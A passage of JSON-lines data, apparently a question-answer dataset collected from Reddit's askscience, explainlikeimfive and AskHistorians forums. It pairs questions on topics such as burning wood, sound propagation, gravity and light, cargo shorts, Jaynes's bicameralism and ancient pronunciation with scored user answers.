["http://www.google.com/patents?hl=en&amp;lr=&amp;vid=USPAT5794497&amp;id=rAghAAAAEBAJ&amp;oi=fnd&amp;dq=demagnetizing+tool&amp;printsec=abstract#v=onepage&amp;q=demagnetizing%20tool&amp;f=false"]]}
{"q_id": "2wvkl8", "title": "Why does wood skip the liquid stage of matter?", "selftext": "Every time wood burns, it always appears to skip the liquid stage of matter. Is this true? If so why does this happen? If it's not true then what is actually happening when wood burns? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wvkl8/why_does_wood_skip_the_liquid_stage_of_matter/", "answers": {"a_id": ["couji44", "coumssz", "counuxy", "cov0b3c", "cov18h3"], "score": [246, 10, 32, 3, 3], "text": ["Wood doesn't even enter the gas phase when it gets hot.  When you heat a solid up, all the bonds holding the material together start jiggling, including those bonding interactions that keep different molecules stuck together.  If you keep on heating, one of those interactions can jiggle fast enough to break apart.\n\nFor a small molecular solid like water ice, the first thing to break will be all the intermolecular interactions that are holding different molecules together, allowing it to melt and evaporate.  For very large molecules like the lignin that makes up the rigid portion of wood, there are so many intermolecular interactions that it takes an incredible amount of energy to break them all at once.  It's so much energy, in fact, that by the time you've added enough heat that you *could* break all of those intermolecular interactions, you also have added enough energy to break apart the chemical bonds holding the individual molecules together.  \n\nWhen this happens, we call it pyrolysis instead of evaporation, because the pieces that break off and either become liquid or vapor are not the same molecules as the one that existed in the solid.", "For what it's worth, there's no rule that says things have to melt before they evaporate.   We call that sublimation, and the substance we most associate with that is probably 'dry ice', but it can also happen with water and many other things.", "Wood's not a pure substance - it's a very complex mixture of biomolecules and others (lignins, carbohydrates, water, terpenes). So it's not going to do clean phase transitions. And burning isn't an example of evaporation, either, since the smoke coming off isn't just wood molecules flying off into the gas phase.", "You'd really have to heat it up in a vacuum to see what truly happens. Other commenters have suggested that it undergoes pyrolysis. Basically, it takes less energy to react with oxygen than it does to allow the individual molecules to move freely. Even if they could move freely, there isn't one type of molecule and they all have different attractions to each other to make wood.", "Burning wood is not a phase change, like melting a solid or boiling a liquid. The wood undergoes a chemical reactions whose products are gaseous. What's happening is that the bonds in the various molecules that make up wood, mostly organic polymers, break apart due to all of the energy that you're adding when you burn it. \n\nIf you were to heat up liquid water in a similar manner, the water molecules would separate from each other and go into the gas phase. Because of the polymer structure of the molecules in wood, the intermolecular forces holding them together are collectively stronger than the atom-atom bonds within the molecules themselves, so the molecules break apart and burn before they separate and change phase."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1iph30", "title": "What is the minimum molecular density required to conduct sound?", "selftext": "Everyone (I should think) knows that there is a relationship between molecular density and the potential for acoustic conductivity (I'm not a scientist, so forgive me for using the best descriptive terms I can muster.)\n\nFor example: As I understand it, we hear sound \"better\" under water because water has a higher density than air and therefore has a greater ability to conduct sound with less volume and signal degradation over xyz distances.  This explains how whales and other creatures communicate over long distances. \n\nI could be wrong about the exact details, but I think you follow me. \n\nSo what is the minimum density required for an acoustic medium to conduct sound? How far apart can molecules get before the sound waves don't cause them to bump together and get that wonderful music to your ears?\n\nI'm asking because I am picturing galaxies and planets and the like forming from dust and gas etc, and I'd love to imagine how that would sound. At some point I'd imagine they gather enough density for you to hear something. \n\nAnyone have any insight into these issues?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1iph30/what_is_the_minimum_molecular_density_required_to/", "answers": {"a_id": ["cb6rlgk", "cb6ss4v"], "score": [3, 6], "text": ["As far as I know, there is no minimum, at least for sound in the purest sense (there is undoubtedly a minimum density required for your ear drums to register sound waves, but that doesn't seem like the question you're asking).  \"Sound waves\", or acoustic oscillations as they're generally called outside the realm of everyday experience, can propagate through nearly any medium.  They are routinely measured by radio astronomers in gas clouds with densities as low as ~1 atom/cm^3 , while cosmologists measure the so-called \"baryon acoustic oscillations\", or BAOs, in the material of the universe when it was only ~500,000 years old.", "Great question, and there's a surprisingly simple answer.\n\nBasically, if you want sound to be supported, you want the medium to look \"continuous\" to the wave. Otherwise, too much of the energy gets scattered and turned into heat. The more continuous, the better the wave will conduct.\n\nOf course, \"continuous\" will vary from wave to wave, because the fundamental measure of distance for a wave is the wavelength. Since the wavelength depends on the frequency and the soundspeed of the medium, so too will the minimum number of particles required for the medium to support sound. As a rule of thumb, let's just say that a cube measuring one wavelength on each side should contain at least 1 billion particles. Using the soundspeed, that gives us a maximum frequency for waves in a medium. For air at STP, that gives us a value in the tens of MegaHertz, which is right around the point where the absorption of sound by the air really starts to pick up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3i70ox", "title": "what happened to cargo shorts?", "selftext": "I seem to remember a time when cargo shorts were fashionable casual wear, but now they seem to be on the same level as Crocs and mullets. ELI5 what happened in between?\n\nThis is what made me think about it: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i70ox/eli5_what_happened_to_cargo_shorts/", "answers": {"a_id": ["cudtqwd", "cudu8ns", "cudwcnu", "cudx0gm", "cudxpx5", "cudxqgl", "cudy80i", "cudy9ae", "cudyew7", "cudyg5x", "cudyl53", "cudyy23", "cudzhmc", "cudzifg", "cudzrkp", "cue046p", "cue1q3h"], "score": [11, 89, 12, 6, 7, 6, 4, 30, 19, 7, 8, 2, 7, 3, 2, 14, 5], "text": ["One imgur rant against them and you think social norms have changed?  Fashion is fluid, and what's fashionable is almost always \"not what was fashionable last year\".  That's why hemlines are cyclical. ", "Where is the percentage of people that don't give a single flying fuck about fashion and just wear clothes so we don't get arrested for indecent exposure.  \n\n", "I wear them out of practicality for my job - I'm wearing a pair right now. \nI need the pocket space and work in an environment too hot for long pants. Sure, I could tolerate jeans or slacks (somehow I think cargo pants would look even worse) but 8 hours a day is worth the comfort.\n\nThat said, there's a little bit of rule 1 & 2 at play - cargo shorts have become associated with a baggy t-shirt, greasy hair, and gross feet in flip-flops; it's the not cargo shorts that make the slob, you can still look reasonable wearing a pair - it's just obviously not formal in any way. ", "Maybe the shape or something... But that moment of realization when you are wearing cargo shorts and you just found out its weird...", "I like the fact there's large pockets. I take my dog for an off leash walk through trails and it's good having the large pockets to put his leash in. \nDon't care much that some trend follower doesn't like them. ", "I feel like cargo shorts are always in. Its when theyre full length cargo pants that they become pants mullets", "You must not have enough to do. I wear them because the pockets are really useful at carrying around a bunch of small things, go figure. I didn't know there was hate for them TBH.", "I keep seeing this on Reddit but not in real life. I see so many people, myself included, wearing cargo shorts. It's not even weird dudes with socks and sandals or anything either. Good looking, fashionable dudes with hot girlfriends are wearing them. Maybe where I live is just behind the times but they're everywhere here. ", "Its because thinner/tighter silhouettes are trending, hence you see the skinny jeans fad for the past few years. Cargo shorts are usually really baggy and not form fitting at all.", "I still wear khaki cargo shorts in the summer.  The extra pockets are really useful and they go well with brown sandals.  ", "Some people associate them with suburban dads, who they consider unfashionable. Personally I think cargo shorts look better on guys than tight shorts, but really, who gives a fuck? Follow trends or don't, as long as you are comfortable and feel good. ", "Cargo shorts, much like many other articles under recent fire, have become comparable to mullets/greasy hair/etc. because we live in a time where a small group of opinionated people can be widely heard. Given that the group has a trendy graphic designer and a knowledge of internet culture, it's possible to sway the opinions of those who don't care about whatever it is, over time.", "Unless you are fit/trim, I still think cargo shorts look much  more attractive than half of these tight khakis or god-awful rolled denim jeans I'm seeing.\n\nYoung people, leave the old dads alone, you really DON'T want to see them in your clothing, their bodies are not always like yours anymore.  Also it makes you sound like a pretentious prick.\n\nMy feeling is maybe the fashion industry is pushing this because they're super-pissed off they haven't been able to tell men they have to buy all new clothes due to style changes the way they have us women.", "They went away?  I've been wearing them for years because they're comfortable, have lots of pockets and don't look half bad...", "From what I know, and I only know a little, the anti-cargo shorts movement started in the frat scene. I can remember before I even got to college seeing things on TFM saying stuff like \"your shorts shouldn't have pockets on the outside unless you're serving your country\" and shit like that. \n\nI'm not sure why but it seems like \"frat\" attire, or waspy clothes, are pretty popular right now for whatever reason. \n\nSo I guess the deal is, if you wear cargo shorts then you're a scrub-ass gdi. And no one wants to be a scrub-ass gdi. ", "What about the \"They're the only shorts Costco was selling this season\" crowd?\n\nWhat about the \"Fuck fashion. I  < 3 pockets!\" crowd?\n\nI feel that we are underrepresented :)", "I didn't know cargo shorts ever went anywhere. I love cargo shorts. The pockets are super convenient! I can fit food in them, my glasses alone, my glasses in the case, the case alone, my phone, my phone in an otterbox, my keys, my chapstick, my work keys, pens, markers, pencils, all sorts of candy, a rolled up dog leash..so much more!"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/9VFBMt6.png"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "j9f2y", "title": "What determines the consistency, amount, and timing of my poop?", "selftext": "It seems like some food moves through your digestive tract more quickly, and in turn makes you go to the bathroom shortly after the meal. Why is this? And what determines the consistency? \n\nOn a related note, how does constipation work? If you're blocked up, and you try to go, maybe a small turd or two may come out, and it relieves a lot of tension. Why is this?\n\nSorry for the graphic questions, but someone's gotta ask the tough questions. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j9f2y/what_determines_the_consistency_amount_and_timing/", "answers": {"a_id": ["c2a88pa", "c2a8q9p", "c2a88pa", "c2a8q9p"], "score": [3, 2, 3, 2], "text": ["I cant comment for speed of food through the tract, but I do know that the reason you crap after a meal is because of the nature of the activation of the digestive system. You eat, activate the stomach, which in turn activates the intestines to move stuff down because they will need the room for the incoming meal, this means whatever is at the end gets pushed out.\n\n", "The consistency of stool is largely due to the amount of water in it.  The chief job of your colon (large intestine) is to absorb water out of your stool.  But it varies as to how well/how much time it has to do its job.  The more water remaining in your stool at the time of defecation, the softer it will be, to the point of diarrhea.  The less water in your stool, the firmer it will be, to the point of constipation/hard, painful stool.", "I cant comment for speed of food through the tract, but I do know that the reason you crap after a meal is because of the nature of the activation of the digestive system. You eat, activate the stomach, which in turn activates the intestines to move stuff down because they will need the room for the incoming meal, this means whatever is at the end gets pushed out.\n\n", "The consistency of stool is largely due to the amount of water in it.  The chief job of your colon (large intestine) is to absorb water out of your stool.  But it varies as to how well/how much time it has to do its job.  The more water remaining in your stool at the time of defecation, the softer it will be, to the point of diarrhea.  The less water in your stool, the firmer it will be, to the point of constipation/hard, painful stool."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3d1b49", "title": "Does gravity interact more strongly with gamma rays than radio waves?", "selftext": "Would it be fair to say EM waves are like proto-particles that aren't \"heavy\" (energetic) enough to interact with the Higgs field?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3d1b49/does_gravity_interact_more_strongly_with_gamma/", "answers": {"a_id": ["ct0x4d9", "ct0yasf"], "score": [19, 2], "text": [" >  Does gravity interact more strongly with gamma rays than radio waves?\n\nSorta.\n\nI apologize in advance for how jargony and technical this is going to sound, but general relativity is hard. \n\nThere's two ways to answer this question by general relativity. The first is to say, \"The distribution of mass and energy tells spacetime how to curve, which determines the gravity of your spacetime.\" Since electric and magnetic fields can carry energy (and thus, so can photons), you can write a [stress-energy tensor for your electromagnetic fields.](_URL_0_) Since a gamma ray is more energetic, it contributes more to the curvature than a radio wave. This can be obtained straightforwardly from the Einstein Field Equations. \n\nOn the other hand, we don't often consider the electromagnetic contribution to spacetime curvature, because it is so small. For example, we're typically interested in the gravity around something like a planet, so if we approximate it as a point mass we get the [Schwarzchild Metric.](_URL_1_) Once you have the metric, which contains all your information about distances and curvature and what not, you can solve for how particles will move - these are the 'straight lines through curved space,' which you may have heard called 'geodesics.' \n\nSince photons are massless, we get a special solution to the geodesic equations for their motion, which is not dependent on the energy of the photon. These are just 'null lines,' and a gamma ray and radio wave would behave the same way in this sort of solution. \n\n >  Would it be fair to say EM waves are like proto-particles that aren't \"heavy\" (energetic) enough to interact with the Higgs field?\n\nNo. That's all something different. Photons simply *are* massless, and thus don't interact with the Higgs field. That's kind of a definition - if a fundamental particle is massless, you'll find that it doesn't interact with the Higgs field. ", "To preface, if any difference exists, it must be small\u2014So we're discussing shades of grey here. This is a pretty interesting question and one that can be approached from a couple perspectives,  \n\nLet's first consider only classical light. Null geodesics (light trajectories) for well established GR solutions like the Schwarzschild. In these situations, gravity treats all light the same regardless of momentum. However, the Schwarzschild solution is *not* the \"point mass plus light ray\" solution. As we know from special relativity, *systems* of massless objects can have an invariant mass so a high energy gamma ray + black hole might yield different physics than low energy radio ray + black hole. However, I haven't looked around to see if anyone has done the math to show this. But, yes. For instance the creation of a Kugelblitz relies on the momentum of the light.\n\nNext we have to consider quantum considerations. A photon propagating from A to B could split into an electro-positron pair on the way before collapsing back to a photon. While [the Ward identity](_URL_0_) prevents this behavior from causing a massive photon, I wonder if this would still hold in the realm of quantum gravity. I'd like to see if the Ward identity survives curved spacetime (I suspect it does, but it wouldn't be pretty), for the semi-classical approach.  \n\nYou have not asked an easy question. In short, for most situations, no gravity treats all light the same. But that's not the whole story and there may be some complicated situations where it doesn't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Electromagnetic_stress%E2%80%93energy_tensor", "https://en.wikipedia.org/wiki/Schwarzschild_metric"], ["http://physics.stackexchange.com/a/138764"]]}
{"q_id": "1sgwr2", "title": "what would happen if i put coke in a water purifier and poured it out. would it turn into water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sgwr2/eli5_what_would_happen_if_i_put_coke_in_a_water/", "answers": {"a_id": ["cdxgkdx"], "score": [10], "text": ["I recommend watching [this video](_URL_0_).\n\nIt seems to suggest that it could filter out some coke, but the filter gets saturated fairly quickly.\n\nSame thing [HERE](_URL_1_).\n\nWater filtration systems are really designed to remove trace impurities from water and will quickly get overwhelmed if they have to try to purify Coke into water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=1FV7VkEaNeI", "http://www.youtube.com/watch?v=5kVTLBsbYrU"]]}
{"q_id": "2fbls9", "title": "Are there any negative health effects caused by excessive boredom?", "selftext": "This is a semi-serious question.\n\nI was at work today bored out of mind to the point where I was doing involuntary repetitive motions and staring off into space (as I often find myself) and I got to thinking that there is no way this absolute paucity of anything stimulating whatsoever could be good for the human brain.\n\nAny research on this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fbls9/are_there_any_negative_health_effects_caused_by/", "answers": {"a_id": ["ck7p3z9", "ck7xrk5"], "score": [10, 2], "text": ["Your brain is an active organ that requires stimulation to function, there is some evidence that mentally stimulating your brain provides health benefits such as lowering your risk or getting, or delaying the progression of Alzheimer Disease.  \n\n[*Participation in Cognitively Stimulating Activities and Risk of Incident Alzheimer Disease* Wilson et. al.](_URL_0_)", "Biology is a 'use it or lose it type of deal' - by actively using your neurons you are strengthening connections and developing or refining cognitive powers. There is loads of research on this subject. Here is a canonical study done in 2002. \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jama.jamanetwork.com/article.aspx?articleid=194636"], ["http://jama.jamanetwork.com/article.aspx?articleid=195506"]]}
{"q_id": "12gchf", "title": "What are historians' views as to the validity of Jayne's theory of Bicameralism? ", "selftext": "*Jaynes'\n\n_URL_0_\nApologies if this is too anthropologically/psychologically slanted for askhistorians.\n\nI heard it referenced in passing during an episode of 'In Our Time' and I was wondering how it is viewed in the historical community, as it relies so heavily on Hellenistic and Biblical examples.\n \nHow plausible is it that this really had such impact on ancient mentalities? Is there any new evidence to support his hypothesis?\n\nCould the vast shift (akin to the Great Leap Forward) towards introspection have occurred in such a short space of time(during the Bronze Age collapse) and have spread globally? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12gchf/what_are_historians_views_as_to_the_validity_of/", "answers": {"a_id": ["c6utrdp", "c6uu86w"], "score": [4, 5], "text": ["I read Jaynes as an impressionable kid, and I've come to the conclusion that he was super-wrong. Basically, he asserts that the shift to full consciousness comes around 3000 years ago as a result of the stresses of a series of wars and ecological shifts around the Mediterranean. \n\nSome problems with this: \n\n* The Epic of Gilgamesh, written a thousand years earlier, features an arrogant young man who learns to reject his quest for immortality and accept his human limitations, devoting himself to the welfare of his people. In what way is this the story of a hallucinating schizophrenic?\n* Jaynes ignores evidence of milennia of long-distance trade before his \"moderns\" appear.\n* How are the upheavals that he asserts spark consciousness more stressful than the shift to agriculture and urban life that began thousands of years before bicameralism supposedly ended?\n* How is it more stressful than the migration out of Africa and the encounter - and cross-breeding - with different species of humanity?\n* How is it more stressful than the [near-extinction of humanity](_URL_0_) thousands of years before that?\n* Is Jaynes suggesting that Europeans are somehow more evolved or conscious than people from other areas of the world? CAREFUL HERE.\n* What about prehistoric art? Jaynes argues that religious ritual is an attempt to summon the now-absent gods. Why would ancients partake in ritual? If prehistoric art did not have a religious component, then why did non-conscious people feel the need to express themselves artistically? ", "I find it disturbing that Jaynes doesn't know what a metaphor is.\n\nThere are many, many problems with it, the biggest being the the rather absurdly Euro-centric view on the world. Do the people of North America not have a \"meta-consciousness\"? If you ask them, I can assure you that they would say they would, but according to Jaynes, they cannot, unless the entire human population spontaneously underwent the transition at one time. While on the topic of Eurocentrism, Jayne is quite shockingly ignorant of literature outside of the Western tradition.\n\nAnother very big problem is that it provides a wildly absurd explanation for something that really doesn't require one. His evidence is all based on the literature, and he completely ignores the obvious explanation that literature was \"democratized\" after the Bronze Age. Simply put, a much larger number of people were reading and writing. The texts we have from before are almost entirely of a sort that you wouldn't expect introspection (it is hard to get introspective in the midst of a ration list). Of course, there are exceptions, and sure enough, you find introspection. See, \"The Poor Man of Nippur\":\n\nThere was a man, a citizen of Nippur, destitute and poor,\n\nGimil-Ninurta was his name, an unhappy man,\n\nIn his city, Nippur, he lived, working hard, but\n\nHad not the silver befitting his class,\n\nHad not the gold befitting people (of his stature).\n\nHis storage bins lacked pure grain,\n\nHis insides burned, craving food, and\n\nHis face was unhappy, craving meat and first-class beer;\n\nHaving no food, he lay hungry every day, and\n\nWas dressed in garments that had no change.\n\nIn his unhappy mood, he thought to himself:\n\nI'll strip off my garments which have no change, and\n\nIn my city of Nippur's market I'll buy a sheep!\n\nSo he stripped off his garments which had no change, and\n\nIn his city of Nippur's market he bought a three-year-old goat.\n\nIn his unhappy mood, he thought to himself:\n\nSuppose I slaughter this goat in my yard-\n\nThere could be no feast, for where is the beer?\n\nMy friends in the neighbourhood would find out and be furious,\n\nAnd my family and relatives would be angry with me."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Bicameralism_(psychology)"], "answers_urls": [["http://en.wikipedia.org/wiki/Population_bottleneck#Humans"], []]}
{"q_id": "5x7zso", "title": "why do we keep playing games even if they make us angry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5x7zso/eli5why_do_we_keep_playing_games_even_if_they/", "answers": {"a_id": ["deg03ty"], "score": [2], "text": ["It's all psychological so there's no correct answer I can give. For me it was seeking the enjoyment I once had from league. I played 4 years and eventually I stopped having fun but kept playing because it used to be fun so I thought I'm just going through a phase. Now I play overwatch I found my joy in gaming again. Just be truthful to yourself. If you aren't having fun anymore just stop playing, take a break at the very least. You'll feel happier without games that make you mad. If it's all games you play  then you shouldn't take them seriously and remember that winning or losing isn't life changing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21lsdx", "title": "Why doesn't the human body store excess aminoacids for later use?", "selftext": "Wouldn't it be advantegeous?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21lsdx/why_doesnt_the_human_body_store_excess_aminoacids/", "answers": {"a_id": ["cgecixn"], "score": [7], "text": ["if you examine the structure of amino acids, they are very similar to many of the carbon-hydrogen-oxygen metabolic intermediates.  for example, alanine is an amidated pyruvate, glutamine is an amidated alpha-ketoglutarate, etc.  many are easy to make, and most don't cost much to do so, so the body would rather use these intermediates to either:\n\n*Create acetyl-CoA, NADH, FADH2, and ATP for energy.  this would happen during exercise or starvation\n\n*Create glycogen, fatty acids, nucleotides, NADPH, and other metabolic compounds.  this would occur after a big meal, during sleep, and when energy is not needed in high amounts.  these compounds are very expensive ATP-wise.  \n\nSo there's no need to store whole AAs because they can be immediately used for whatever the body needs and then remade when necessary.\n\nBut, our body is very concerned with conserving *nitrogen* levels, since our body can't fix nitrogen gas (N2) into ammonia (NH3).  but, we can't just store huge amounts of ammonia because it's toxic.  sugars and fats aren't toxic, so we can store them.  because of this, our body either quickly utilizes excess ammonia to make nitrogenous compounds like amino acids and nucleotides, or it excretes it via Urea in our urine.  \n\nbut there are some AAs that we cannot create ourselves.  but these essential AAs are easy to obtain as long as you eat a semi-balanced diet. \n\n\nnot quite sure what the other guy is talking about."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5p8is4", "title": "how do paralyzed people not become overweight?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5p8is4/eli5_how_do_paralyzed_people_not_become_overweight/", "answers": {"a_id": ["dcp9101", "dcp9sfe", "dcp9zod", "dcpb9d4", "dcpbi3x", "dcpgbfj", "dcpkune", "dcq972w"], "score": [2, 32, 42, 19, 5, 2, 2, 2], "text": ["sure you can exercise. exercising doesn't explicitly involve the legs. also, pushing a wheelchair around is pretty strenuous. ", "1. There are plenty of exercises you can do that don't require the use of your legs.\n\n2. You don't have to exercise to avoid becoming overweight.  You just have to consume the same or fewer calories than you burn.", "I work at a facility home for people with cerebral palsy. Diet is key to keep my clients from becoming overweight.", "Weight is directly linked to calories in versus calories out.\n\nIf you take more in than you burn, you will gain weight.  If you burn more than you take in, you will lose weight.  \n\nExercise does not cause you to lose weight, it aids in increasing the number of calories you burn to further offset your caloric intake.  There are of course added health benefits to exercise not directly related to weight, so I'm not saying it's not a good thing.  ", "The same way other people don't become overweight. They don't consume more calories than they use.", "Your body uses energy. You eat to replenish that energy. There isn't excess energy if you eat what you need; if you eat properly. You also can exercise as a paraplegic. Quadriplegics can't really exercise though, but being fed properly is no challenge. That being said, there's no reason why they can't become overweight.", "Diet.. and exercise, same as everyone else.... \n\nHave you never seen a game of murderball? It's brutal and exhausting. \nNot being able to move one part of your body just means you have to modify the type of exercise you do. \n\nThe lower limbs can become smaller through lesser use, but people can use equipment that moves the muscles for them, and retains some of the muscle structure. ", "Let me put this into perspective: As a kid I rarely got excersise. I played computer games all the time and didn't eat much. I was underweight. How much food you intake determines how much can be stored in fat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1ilqpt", "title": "Why didn't England demand Calais back after defeating Napoleon?", "selftext": "Or did they? If they didn't, why not? If they did, what happened?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ilqpt/why_didnt_england_demand_calais_back_after/", "answers": {"a_id": ["cb5q5rg", "cb5tryb", "cb5wlyq"], "score": [466, 68, 2], "text": ["Several reasons. First, notice that nobody else demanded any of what we might call France's \"core territory\" either; there was a dispute on where the exact borders of France should be, but there was no impulse to actually dismember it as a state. Second, after 250 years, what sort of interest group could you muster for repossessing a city that was not particularly important, spoke the wrong language, would have had to be extensively garrisoned, and was a guaranteed instant loss in the next war? The French possessions were always dynastic, not imperial - that is, they benefited the king, not the oligarchy that ran England in the early 1800s. The English kings had wanted rich agricultural land; the English oligarchs wanted trading access, naval bases, investment opportunities, and to some extent markets. (The last being more important later in the nineteenth century.) Do note that the time between the loss of Calais (1558) and the Congress of Vienna (1815) is longer, at 257 years, than the time from the independence of the US (1776) and today, which is only 237 years. Internet humour aside, I think Queen Elizabeth is a bit unlikely to try to repossess the thirteen colonies at this late stage, and that's without them speaking a foreign language. Finally, England made plenty of gains elsewhere, especially India - notice they entered the war more or less co-equal with France in the subcontinent, and exited as its undisputed masters. Check out this contemporary cartoon:\n\n_URL_0_\n\nshowing Pitt and Napoleon slicing up the world - notice that in spite of Napoleon's frenzied expression, Pitt is getting the bigger slice! There was some feeling on the continent that England had paid gold and everyone else had paid blood, and then England had got the mastery of the oceans on top of that; if they'd tried for continental possessions as well they'd have faced the united opposition of all the other Powers at Vienna. ", "Not one mention of \"Britain\" in this thread? Sad times.\n\nThe BRITISH did not request any territory within France as they knew that it would not sit well with the French themselves. France was a powederkeg at the time, the populace was unhappy and the newly restored monarchy needed to be kept on the same side as the rest of Europe. \n\n1815 was the beginning of Pax Britannia during which the British presided over nearly a century of relative peace. They did this by, as above, keeping the European nations reading from the same hymnbook. If Britain made demands on France that no other European nation could equal it would not sit well in their throats. Articles in the Congress of Vienna had to be agreed upon by all, and the rest of Europe surely wasn't going to let Britain make such a ludicrous claim as demanding Calais back.\n\n*Source: \"Rites of Peace: The Fall of Napoleon and the Congress of Vienna\"*", "Well, the English took Calais at the beginning of the Hundred Years War, it didn't originally belonged to England. Why would they bother take back a piece of land that isn't populated by British people and would be very difficult/expensive to defend with no benefit ? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.historyhome.co.uk/pict2/plumpud.jpg"], [], []]}
{"q_id": "5pdd95", "title": "what rights do men have that women don't have here in the united states?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5pdd95/eli5_what_rights_do_men_have_that_women_dont_have/", "answers": {"a_id": ["dcqae29", "dcqbjt5", "dcqbryo", "dcqf2ds"], "score": [12, 4, 5, 2], "text": ["A big reason for some of the marching is the fact that some government officials are trying to get rid of planned parenthood/birth control all together, and those people aren't even the ones that use it in the first place. There are many other gender equality related reasons as well such as workplace harassment, wage inequality, and gender discrimination that I can think of off the top of my head.", "They are marching to voice their concerns to the incoming administration.  They don't have to feel that their rights have been \"violated\" in order to have issues (that may [or not] be of special concern to women) that they want to be sure are being considered by our leaders.\n\nFurther, there's ample reason to believe that the new President has fairly low regard for women in general.", "On paper (literally, as in the Constitution), women have the same rights as men.\n\nOf course, there is a big difference between what's on paper and what's done in practice. And, as noted, there are many cultural biases that often go against women.\n\nWhile not an equivalent, consider the post-Civil War, pre-Civil Rights America. On paper, there were amendments guaranteeing everyone was equal, yet it was nearly another century before there was serious social change to recognize that.", "r/askfeminists is a good place to ask this question. They are usually a good community that helps answer questions like this one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "34z8vr", "title": "Are modern pronunciations of ancient words and names phonetically the same as they were then? For example, was the name Tutankhamun phonetically the same 3000 years ago, or is that word just our interpretation of texts.", "selftext": "Do our modern names and words sound anything like the words they would have used in ancient times?\n\nDoes this vary between civilisations around the world?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34z8vr/are_modern_pronunciations_of_ancient_words_and/", "answers": {"a_id": ["cqziz6v", "cqzmzdn"], "score": [34, 8], "text": ["You can find plenty of prior questions on this topic [here](_URL_1_), but I'd reccomend checking out the responses from /u/Brigantus and I at [this](_URL_0_) recent thread first.\n\nIt is of course impossible to know whether or not our pronunications are exactly the same as they were 1000s of years ago. Odds are, they aren't exactly the same. But we're doing our darnedest to figure out what it was like back then. There's two main techniques we use:\n\n* **Extrapolation from descendants**: languages for which we have ancient texts often have modern descendants with millions of speakers- Latin, Mayan, Chinese, etc. Additionally, languages evolve in regular ways. A linguistic community will alter the same sounds in one language in the same ways often enough to make a different language. For instance, Latin words with an initial \"s-consonant\" sound take an \"e-\" in Spanish but not in English. Latin *statum* is equivalent to English \"state\" and Spanish *estado.* *Specialis* developed into \"special\" and *especial.* Latin *schola* (orig. Greek) gives us \"school\" and *escuela.* We can extrapolate backwards from these and guess at the original sounds. For Ancient Egyptian, Coptic is the closest decidendant. It has not been nearly as commonly spoken as the aforementioned languages, and has survived primarily through Coptic Christian liturgical tradtion. But it's something.\n\n* **Comparison with other languages**: The Rosetta stone is famous for good reason. The best thing we can hope to find when deducing the meaning of ancient phonetic signs is to find known words written using them. The Rosetta Stone contains the same text written in Demotic (script form of Egyptian), Egyptian heiroglyphs, and Greek. We know names like \"Ptolemy,\" so when we see the same name appear in Egyptian, we can work out the meanings of the individual symbols. The same applies to other ancient scripts: we know the names of several Aztec deities from Spansih colonial sources, so when those names appear in earlier Mayan heiroglyphs, we can check our phonetic translations with them.\n\n* **Cross-referencing with literary and morphological convention**: For finer details, we can often see how our translations fit into literary conventions: rhyme schemes, metre, and the like. If we know that an English poem rhymes, and we see  \"though\" and \"know\" at the end of successive lines, we can imply they rhyme. We can see how Latin accented and deemphasized certain vowels and syllables based on how words fit the meter of a poem. There are also morphological conventions: things that just \"sound right\" for a language. No matter what scripts you write them in, *aussprechen* sounds German and \"Masahiro Sakurai\" sounds Japanese. As we develop translations, conflicts with accepted morphology can raise a red flag, letting us know we need to change something.", "It depends. Often times, one will find that different historians spell the same name differently, and that is sometimes an attempt to more accurately reflect the historical pronunciation of a name. However, many names simply aren't pronounced by most people in the same way that they would have been pronounced in their time. /u/CommodoreCoCo 's answer covers that.\n\n\"Caesar\" is probably the most famous example of a name that we pronounce differently from how it would have been said in the past, despite knowing how it would have actually been pronounced. In ancient Rome, Caesar would have been said with a hard C rather than a soft C, making it's pronunciation more similar to the German \"Kaiser\" than the English \"See-zer.\" However, one rarely hears English speakers, even historians, use the hard C. [There was a thread a while back on this.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/336arj/how_do_we_know_what_4000_year_old_languages/", "http://www.reddit.com/r/AskHistorians/comments/2iv0lm/how_do_we_know_how_ancient_languages_sounded_like/cl5x8aj"], 